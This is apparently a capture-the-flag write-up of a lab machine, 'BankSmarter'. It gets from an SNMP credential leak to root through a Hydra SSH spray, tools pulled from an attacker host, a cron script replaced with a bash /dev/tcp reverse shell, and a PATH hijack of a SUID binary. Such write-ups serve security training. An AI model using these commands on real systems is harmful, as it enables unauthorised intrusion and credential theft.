Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

BankSmarter

Enumeration

Port Scan (TCP)

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c9:a0:c9:29:bb:37:4a:37:58:a9:eb:50:6a:8d:8c:3a (ECDSA)
|_  256 0f:f4:6e:31:32:0a:7f:3c:67:89:44:1f:a9:f0:fb:a0 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   148.36 ms 10.200.0.1
2   ...
3   148.56 ms 10.1.67.68

see authentication method to SSH

ssh root@10.1.11.245                                       
>root@10.1.11.245's password:

authentication via Password and not RSA key

Port Scan (UDP)

PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
161/udp open          snmp

SNMP

Walked SNMP with the default public community string to look for operator-supplied strings in the system MIB.

snmpwalk -v2c -c public 10.1.67.68

iso.3.6.1.2.1.1.1.0 = STRING: "Linux ip-10-1-67-68 6.14.0-1012-aws #12~24.04.1-Ubuntu SMP Fri Aug 15 00:16:05 UTC 2025 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (247648) 0:41:16.48
iso.3.6.1.2.1.1.4.0 = STRING: "\"Admin Layne.Stanley:5t6^jahTRjab'\""
iso.3.6.1.2.1.1.5.0 = STRING: "ip-10-1-67-68"
iso.3.6.1.2.1.1.6.0 = STRING: "\"Indianapolis\""
iso.3.6.1.2.1.1.8.0 = Timeticks: (2) 0:00:00.02

The sysContact field leaked what looked like a credential pair.

Layne.Stanley:5t6^jahTRjab'

The casing and trailing quote were unreliable SNMP artifacts, so I used the leak to seed permutation lists rather than trusting one literal value.

Initial Access

Expanded the leaked name and secret into candidate username and password lists.

cat username.txt

Layne.Stanley
layne.stanley
LayneStanley
laynestanley
lstanley
stanleyl
layne
stanley
admin
Admin
administrator
cat passwords.txt

5t6^jahTRjab'
5t6^jahTRjab
5t6^jahTRjab!
5t6^jahtrjab
5t6jahTRjab
5t6^jahTRJAB'
5t6^jahtrjab'
5T6^jahTRjab'
5t6^jahTRjab123
5t6^jahTRjab#
5t6^jahTRjab@2024

Sprayed the lists at SSH to find the pair the box accepts.

hydra -L username.txt -P passwords.txt ssh://10.1.67.68

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) starting at 2026-01-26 17:10:30
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 121 login tries (l:11/p:11), ~8 tries per task
[DATA] attacking ssh://10.1.67.68:22/
[22][ssh] host: 10.1.67.68   login: layne.stanley   password: 5t6^jahTRjab
The session file ./hydra.restore was written. Type "hydra -R" to resume session.

Hydra confirmed a valid pair (the leaked password minus the trailing quote).

layne.stanley:5t6^jahTRjab

Logged in over SSH with the recovered credentials.

ssh layne.stanley@10.1.67.68

The authenticity of host '10.1.67.68 (10.1.67.68)' can't be established.
ED25519 key fingerprint is: SHA256:nLb/aN7gYRULdK+nYyVkGpsowGVmVMkRyu654J2gpfg
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.1.67.68' (ED25519) to the list of known hosts.
layne.stanley@10.1.67.68's password:
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.14.0-1012-aws x86_64)
...
Last login: Mon Sep 15 23:03:36 2025 from 10.0.0.247
layne.stanley@ip-10-1-67-68:~$

Foothold established as layne.stanley.

Post-Foothold Enumeration

Checked identity and listed the home directory.

id
whoami
ls -la
cat user.txt
ls /home

uid=1001(layne.stanley) gid=1001(layne.stanley) groups=1001(layne.stanley)
layne.stanley
total 44
drwxrwxrwx 5 layne.stanley layne.stanley 4096 Sep 15 23:04 .
drwxr-xr-x 6 root          root          4096 Sep 12 13:14 ..
---------- 1 layne.stanley layne.stanley    0 Sep 12 12:55 .bash_history
-rw-r--r-- 1 layne.stanley layne.stanley  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 layne.stanley layne.stanley 3771 Mar 31  2024 .bashrc
drwx------ 2 layne.stanley layne.stanley 4096 Sep 12 12:37 .cache
drwxrwxr-x 3 layne.stanley layne.stanley 4096 Sep 12 12:47 .local
-rw-r--r-- 1 layne.stanley layne.stanley  807 Mar 31  2024 .profile
drwx------ 2 layne.stanley layne.stanley 4096 Sep 12 13:30 .ssh
-rw------- 1 layne.stanley layne.stanley  896 Sep 12 12:51 .viminfo
-rwxr-xr-x 1 scott.weiland scott.weiland 2937 Sep 12 12:47 bankSmarter_backup.sh
-rw-rw-r-- 1 layne.stanley layne.stanley   53 Sep 12 19:51 user.txt
R29vZCBKb2IgRW51bWVyYXRpbmdscyAtbGEhIEtlZXAgaXQgdXAK
layne.stanley  ronnie.stone  scott.weiland  ubuntu

The home directory was drwxrwxrwx (world-writable) and held bankSmarter_backup.sh owned by scott.weiland — a script owned by another user sitting in a directory I fully control. Other users of interest were scott.weiland and ronnie.stone.

Checked sudo access before chasing the script.

sudo -l

[sudo] password for layne.stanley:
Sorry, try again.
[sudo] password for layne.stanley:
Sorry, user layne.stanley may not run sudo on ip-10-1-67-68.

No sudo rights. Read the script to see what runs when it fires.

cat bankSmarter_backup.sh
#!/usr/bin/env bash
# bank_maintenance.sh
set -euo pipefail
IFS=$'\n\t'
EXPORT_DIR="/tmp/bank_exports"
REPORT_FILE="${EXPORT_DIR}/customer_export_$(date +%F_%H%M%S).csv"
API_KEYS_DIR="/etc/bank_api_keys"
SAMPLE_API_KEY_FILE="${API_KEYS_DIR}/transactions_api.key"
AUDIT_EMAIL="ops-team+@bank.smarter"    # SAMPLE email (not real)
SMTP_SEND_CMD="/usr/bin/echo"                # placeholder for mail command
DUMMY_ACCOUNTS=(
"ACCT-00000001|Jane Teller|jane.teller@bank.smarter|USD|12345.67|ACTIVE"
"ACCT-00000002|Company Finance Inc|finance@bank.smarter|EUR|987654.32|ACTIVE"
"ACCT-00000003|John Admin|john.admin@bank.smarter|USD|0.00|CLOSED"
)
mkdir -p "${EXPORT_DIR}"
mkdir -p "${API_KEYS_DIR}"
chmod 700 "${API_KEYS_DIR}"
...
main() {
  echo "=== BANK MAINTENANCE SCRIPT ==="
  ...
  rotate_api_key "${SAMPLE_API_KEY_FILE}"
  ...
  export_accounts_csv "${REPORT_FILE}"
  ...
  notify_ops_with_report "${REPORT_FILE}"
  echo "Done."
}
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
  main "$@"
fi

Confirmed the schedule was not in a readable cron, and tested whether the script would run as me.

ls -la /home/scott.weiland
grep -r "bankSmarter_backup.sh" /etc/cron*
cat /etc/bank_api_keys/transactions_api.key
ls /etc/bank_api_keys
./bankSmarter_backup.sh

ls: cannot open directory '/home/scott.weiland': Permission denied
cat: /etc/bank_api_keys/transactions_api.key: No such file or directory
ls: cannot access '/etc/bank_api_keys': No such file or directory
mkdir: cannot create directory ‘/etc/bank_api_keys’: Permission denied

Nothing in system cron, and running it as layne.stanley died on mkdir /etc/bank_api_keys — proof that the intended runner is a different, more privileged user.

Checked for local-only services before running full enumeration.

ss -tlnp

State   Recv-Q  Send-Q   Local Address:Port    Peer Address:Port  Process
LISTEN  0       4096           0.0.0.0:22           0.0.0.0:*
LISTEN  0       4096        127.0.0.54:53           0.0.0.0:*
LISTEN  0       4096     127.0.0.53%lo:53           0.0.0.0:*
LISTEN  0       4096              [::]:22              [::]:*

Only SSH and the resolver stub, so no network pivot — escalation would be local. Pulled linpeas from the attacker host.

curl -O "<http://10.200.32.25:1235/linpeas.sh>"
chmod +x linpeas.sh
./linpeas.sh

linpeas confirmed the unprivileged context on an EC2 instance.

User & Groups: uid=1001(layne.stanley) gid=1001(layne.stanley) groups=1001(layne.stanley)
Hostname: ip-10-1-67-68
═╣ Is this a virtual machine? ..... Yes (amazon)

The instance metadata service was reachable and dumped live AWS role credentials.

EC2 Security Credentials
{
  "Code": "Success",
  "LastUpdated": "2026-01-26T17:00:42Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "[TEMPORARY LAB CREDENTIAL OMITTED]",
  "SecretAccessKey": "[TEMPORARY LAB CREDENTIAL OMITTED]",
  "Token": "[TEMPORARY LAB CREDENTIAL OMITTED]",
  "Expiration": "2026-01-26T23:23:15Z"
}

It also flagged a root-launched Python service running as another user.

ronnie.+     584  0.0  0.5  18692 11516 ?        Ss   16:15   0:00 /usr/bin/python3 /opt/bank/pty_server.py

The group map tied the escalation path together — scott.weiland and ronnie.stone share bank-team, and ronnie.stone is additionally in bankers.

uid=1002(scott.weiland) gid=1002(scott.weiland) groups=1002(scott.weiland),1003(ronnie.stone),1005(tmuxshare),1006(tmuxusers),1007(tmuxshared),1008(bank-team)
uid=1003(ronnie.stone) gid=1003(ronnie.stone) groups=1003(ronnie.stone),1004(bankers),1005(tmuxshare),1006(tmuxusers),1007(tmuxshared),1008(bank-team)

The SUID scan flagged a custom root binary owned by root:bankers.

-rwsr-x--- 1 root bankers 16K Sep 12 13:23 /usr/local/bin/bank_backupd (Unknown SUID binary!)

And /opt held a bank directory locked behind the bank-team group.

╔══════════╣ Unexpected in /opt (usually empty)
drwxr-x---  4 root bank-team 4096 Sep 12 19:15 bank

bank-team gated /opt/bank (the ronnie.stone PTY server) and bankers gated the root SUID binary, but the runner of bankSmarter_backup.sh was still unproven. Pulled pspy to watch process creation.

curl -O "<http://10.200.32.25:1235/pspy64>"
chmod +x pspy64
./pspy64

2026/01/26 17:34:01 CMD: UID=0     PID=20997  | /usr/sbin/CRON -f -P
2026/01/26 17:34:01 CMD: UID=0     PID=20998  | /usr/sbin/CRON -f -P
2026/01/26 17:34:01 CMD: UID=1002  PID=20999  | /bin/sh -c bash /home/layne.stanley/bankSmarter_backup.sh
2026/01/26 17:34:01 CMD: UID=1002  PID=21000  | bash /home/layne.stanley/bankSmarter_backup.sh
2026/01/26 17:34:01 CMD: UID=1002  PID=21001  |
2026/01/26 17:34:01 CMD: UID=1002  PID=21002  |

UID 1002 (scott.weiland) ran bankSmarter_backup.sh on a schedule, out of my world-writable home. I own that path, so I could replace the file.

Lateral Movement — layne.stanley → scott.weiland

Rechecked state and kept a copy of the script before swapping it.

ls -al /opt
ls -Ral /opt
ls -la

drwxr-x---  4 root bank-team 4096 Sep 12 19:15 bank
...
/opt:
drwxr-x---  4 root bank-team 4096 Sep 12 19:15 bank
ls: cannot open directory '/opt/bank': Permission denied
...
-rwxr-xr-x 1 layne.stanley layne.stanley    2937 Jan 26 17:36 bankSmarter_backup.bak
-rwxr-xr-x 1 scott.weiland scott.weiland    2937 Sep 12 12:47 bankSmarter_backup.sh
-rwxrwxr-x 1 layne.stanley layne.stanley  847924 Jan 26 17:28 linpeas.sh
-rwxrwxr-x 1 layne.stanley layne.stanley 3104768 Jan 26 17:33 pspy64
-rw-rw-r-- 1 layne.stanley layne.stanley      53 Sep 12 19:51 user.txt

The file was owned by scott.weiland so it could not be edited in place, but the directory was writable, so I deleted it.

rm -rf bankSmarter_backup.sh

-rwxr-xr-x 1 layne.stanley layne.stanley    2937 Jan 26 17:36 bankSmarter_backup.bak
-rwxrwxr-x 1 layne.stanley layne.stanley  847924 Jan 26 17:28 linpeas.sh
-rwxrwxr-x 1 layne.stanley layne.stanley 3104768 Jan 26 17:33 pspy64
-rw-rw-r-- 1 layne.stanley layne.stanley      53 Sep 12 19:51 user.txt

Recreated it as a reverse shell pointed at the attacker listener, so the next cron run would execute it as scott.weiland.

echo '#!/bin/bash
bash -i >& /dev/tcp/10.200.32.25/4444 0>&1' > /home/layne.stanley/bankSmarter_backup.sh
chmod +x /home/layne.stanley/bankSmarter_backup.sh
ls -la

-rwxr-xr-x 1 layne.stanley layne.stanley    2937 Jan 26 17:36 bankSmarter_backup.bak
-rwxrwxr-x 1 layne.stanley layne.stanley      55 Jan 26 17:47 bankSmarter_backup.sh
-rwxrwxr-x 1 layne.stanley layne.stanley  847924 Jan 26 17:28 linpeas.sh
-rwxrwxr-x 1 layne.stanley layne.stanley 3104768 Jan 26 17:33 pspy64
-rw-rw-r-- 1 layne.stanley layne.stanley      53 Sep 12 19:51 user.txt

The next cron tick fired the script and the listener caught a shell as scott.weiland.

scott.weiland@ip-10-1-67-68:~$ id
uid=1002(scott.weiland) gid=1002(scott.weiland) groups=1002(scott.weiland),1003(ronnie.stone),1005(tmuxshare),1006(tmuxusers),1007(tmuxshared),1008(bank-team)
scott.weiland@ip-10-1-67-68:~$ whoami
scott.weiland

Now a bank-team member, so /opt/bank became readable.

Lateral Movement — scott.weiland → ronnie.stone

Read the previously blocked /opt/bank.

ls -la /opt/bank/

total 24
drwxr-x--- 4 root         bank-team    4096 Sep 12 19:15 .
drwxr-xr-x 3 root         root         4096 Sep 12 18:51 ..
drwxr-xr-x 2 root         root         4096 Sep 12 19:15 logs
-rwxr-x--- 1 ronnie.stone bank-team    1369 Sep 12 19:04 pty_server.py
drwxrws--- 2 ronnie.stone bank-team    4096 Jan 26 16:15 sockets
-rwxr-xr-x 1 ronnie.stone ronnie.stone 1668 Sep 12 18:54 start_ronnie_tmux.sh

Read the PTY server to learn its socket path and access model.

cat /opt/bank/pty_server.py
#!/usr/bin/env python3
import os, pty, socket, select, pwd, grp
SOCKET = "/opt/bank/sockets/live.sock"
OWNER = "ronnie.stone"
GROUP = "bank-team"
os.makedirs(os.path.dirname(SOCKET), exist_ok=True)
if os.path.exists(SOCKET):
    os.unlink(SOCKET)
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind(SOCKET)
owner_uid = pwd.getpwnam(OWNER).pw_uid
group_gid = grp.getgrnam(GROUP).gr_gid
os.chown(SOCKET, owner_uid, group_gid)
os.chmod(SOCKET, 0o770)  # read/write for owner & group
server.listen(5)
print(f"[+] Listening on {SOCKET}")
while True:
    client, _ = server.accept()
    pid, fd = pty.fork()
    if pid == 0:
        os.execv("/bin/bash", ["/bin/bash"])
    else:
        while True:
            r, _, _ = select.select([fd, client], [], [])
            for src in r:
                try:
                    data = os.read(fd if src != client else src.fileno(), 1024)
                except OSError:
                    client.close()
                    break
                if not data:
                    client.close()
                    break
                if src == client:
                    os.write(fd, data)
                else:
                    client.sendall(data)

The socket was 0770 ronnie.stone:bank-team and forked bash as ronnie.stone per connection, and I was in bank-team. Also read the tmux helper for context on the shared setup.

cat /opt/bank/start_ronnie_tmux.sh
#!/usr/bin/env bash
set -euo pipefail
SOCKET_DIR="/var/run/tmux-sockets"
SOCKET="$SOCKET_DIR/ronnie.sock"
SESSION="live"
TMUXUSER="ronnie.stone"
TMUXGROUP="tmuxshared"   # group must include scott.weiland
groupadd -f "$TMUXGROUP"
usermod -aG "$TMUXGROUP" "$TMUXUSER" >/dev/null 2>&1 || true
mkdir -p "$SOCKET_DIR"
chown root:"$TMUXGROUP" "$SOCKET_DIR"
chmod 2770 "$SOCKET_DIR"   # setgid so new sockets inherit the group
if [ -e "$SOCKET" ]; then
    tmux -S "$SOCKET" kill-server 2>/dev/null || true
    sleep 0.5
    rm -f "$SOCKET" 2>/dev/null || true
fi
sudo -u "$TMUXUSER" bash -lc "umask 007 && tmux -S '$SOCKET' new-session -d -s '$SESSION'"
chown "$TMUXUSER":"$TMUXGROUP" "$SOCKET" 2>/dev/null || true
chmod 770 "$SOCKET" 2>/dev/null || true
sleep 0.2
ls -l "$SOCKET" || true
#exit 0
SOCKET_DIR=/var/run/tmux-sockets
SOCKET_NAME=ronnie.sock
SESSION_NAME=live
mkdir -p $SOCKET_DIR
chmod 770 $SOCKET_DIR
chown ronnie.stone:scott.weiland $SOCKET_DIR
tmux -S $SOCKET_DIR/$SOCKET_NAME new-session -d -s $SESSION_NAME
chmod 770 $SOCKET_DIR/$SOCKET_NAME
chown ronnie.stone:scott.weiland $SOCKET_DIR/$SOCKET_NAME

First tried a Python AF_UNIX client that wired stdio to the socket.

ls
cat connect.py

connect.py
import socket
import os

sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/opt/bank/sockets/live.sock")

os.dup2(sock.fileno(), 0)
os.dup2(sock.fileno(), 1)
os.dup2(sock.fileno(), 2)

os.system("/bin/bash")
python3 connect.py

^C

The dup2/os.system client did not bridge the PTY server’s I/O and hung, so I aborted with Ctrl-C and switched to socat, which speaks the bidirectional stream the server expects.

socat - UNIX-CONNECT:/opt/bank/sockets/live.sock

ronnie.stone@ip-10-1-67-68:/opt/bank$
ronnie.stone@ip-10-1-67-68:/opt/bank$ id
id
uid=1003(ronnie.stone) gid=1008(bank-team) groups=1008(bank-team),1004(bankers),1005(tmuxshare),1006(tmuxusers),1007(tmuxshared)
ronnie.stone@ip-10-1-67-68:/opt/bank$ whoami
whoami
ronnie.stone

Now running as ronnie.stone, who is in bankers — the group on the custom SUID binary.

Privilege Escalation

Enumerated root SUID binaries as ronnie.stone.

find / -user root -perm /4000 2>/dev/null

/usr/local/bin/bank_backupd
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/fusermount3
/usr/bin/umount
/usr/bin/chfn
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/snap/core22/2111/usr/bin/chfn
/snap/core22/2111/usr/bin/chsh
/snap/core22/2111/usr/bin/gpasswd
/snap/core22/2111/usr/bin/mount
/snap/core22/2111/usr/bin/newgrp
/snap/core22/2111/usr/bin/passwd
/snap/core22/2111/usr/bin/su
/snap/core22/2111/usr/bin/sudo
/snap/core22/2111/usr/bin/umount
/snap/core22/2111/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/2111/usr/lib/openssh/ssh-keysign
/snap/core22/2111/usr/libexec/polkit-agent-helper-1

bank_backupd was the non-standard entry. Confirmed its permissions and type.

ls -la /usr/local/bin/bank_backupd
file /usr/local/bin/bank_backupd

-rwsr-x--- 1 root bankers 16192 Sep 12 13:23 /usr/local/bin/bank_backupd
/usr/local/bin/bank_backupd: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e8eb16ddc780ae87c7dc41989bdfd60e407db0d2, for GNU/Linux 3.2.0, not stripped

SUID root, executable by bankers, and not stripped. Pulled strings to see how it spawns subprocesses.

strings /usr/local/bin/bank_backupd | less

/lib64/ld-linux-x86-64.so.2
puts
perror
__stack_chk_fail
setgid
setuid
__libc_start_main
execv
__cxa_finalize
libc.so.6
GLIBC_2.4
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
[bank_backupd] Starting backup for BankSmarter accounts...
[bank_backupd] Connecting to central ledger...
[bank_backupd] Verifying transaction logs...
/bin/env
python3

It invoked python3 through env with no absolute path, so $PATH decides which python3 runs — and the binary keeps root across the exec. Planted a malicious python3 in the home directory.

cd ~
echo '#!/bin/bash
bash -p' > ~/python3
chmod +x ~/python3
ls -la

total 44
drwxr-x--- 4 ronnie.stone ronnie.stone 4096 Jan 26 23:13 .
drwxr-xr-x 6 root         root         4096 Sep 12 13:14 ..
-rw------- 1 ronnie.stone bank-team     176 Jan 26 23:08 .bash_history
-rw-r--r-- 1 ronnie.stone ronnie.stone  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 ronnie.stone ronnie.stone 3771 Mar 31  2024 .bashrc
-rw------- 1 ronnie.stone bank-team      20 Jan 26 23:10 .lesshst
drwxrwxr-x 3 ronnie.stone ronnie.stone 4096 Sep 12 13:15 .local
-rw-r--r-- 1 ronnie.stone ronnie.stone  807 Mar 31  2024 .profile
-rw-rw-r-- 1 ronnie.stone ronnie.stone   66 Sep 12 13:34 .selected_editor
drwx------ 2 ronnie.stone bank-team    4096 Sep 12 19:32 .ssh
-rwxrwx--- 1 ronnie.stone bank-team      20 Jan 26 23:13 python3

Prepended the home directory to $PATH and ran the SUID binary.

export PATH=~/:$PATH
/usr/local/bin/bank_backupd

[bank_backupd] Starting backup for BankSmarter accounts...
[bank_backupd] Connecting to central ledger...
[bank_backupd] Verifying transaction logs...
root@ip-10-1-11-245:~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root),1004(bankers),1005(tmuxshare),1006(tmuxusers),1007(tmuxshared),1008(bank-team)

The SUID binary resolved python3 to the planted script and bash -p returned a root shell.

Post-Exploitation

Read the root flag.

cat /root/root.txt

VGhhbmtzIGZvciBkb2luZyB0aGUgbWFjaGluZSwgaXQgZG9lcyBtZWFuIGEgbG90LCBsZXQgbWUga25vdyB3aGF0IHlvdSB0aGluawo=

Attack Path Summary

SNMP public sysContact leak: Layne.Stanley:5t6^jahTRjab'
→ Built username/password permutation lists
→ Hydra confirmed SSH layne.stanley:5t6^jahTRjab
→ SSH foothold as layne.stanley (no sudo)
→ linpeas: AWS creds, ronnie.stone PTY server, bank-team/bankers groups, root SUID bank_backupd
→ pspy: scott.weiland cron runs bankSmarter_backup.sh from world-writable /home/layne.stanley
→ Overwrote the script with a reverse shell → shell as scott.weiland (bank-team)
→ Read /opt/bank: pty_server.py socket 0770 ronnie.stone:bank-team
→ python3 connect.py failed/hung → socat UNIX-CONNECT → shell as ronnie.stone (bankers)
→ bank_backupd calls python3 via env with no absolute path
→ Planted ~/python3 (bash -p), prepended ~ to PATH, ran bank_backupd → root
→ cat /root/root.txt

Credentials Found

User Password / Secret Source
Layne.Stanley 5t6^jahTRjab' SNMP sysContact (iso.3.6.1.2.1.1.4.0)
layne.stanley 5t6^jahTRjab Confirmed via Hydra (SSH)
layne.stanley Private key /home/layne.stanley/.ssh/id_rsa (layne.stanley@ip-10-0-27-197) linpeas SSH analysis
user flag R29vZCBKb2IgRW51bWVyYXRpbmdscyAtbGEhIEtlZXAgaXQgdXAK /home/layne.stanley/user.txt
root flag VGhhbmtzIGZvciBkb2luZyB0aGUgbWFjaGluZSwgaXQgZG9lcyBtZWFuIGEgbG90LCBsZXQgbWUga25vdyB3aGF0IHlvdSB0aGluawo= /root/root.txt

Tools Used

  • snmpwalk
  • Hydra
  • SSH
  • curl
  • linpeas
  • pspy64
  • ss
  • find
  • file
  • strings
  • Python3
  • socat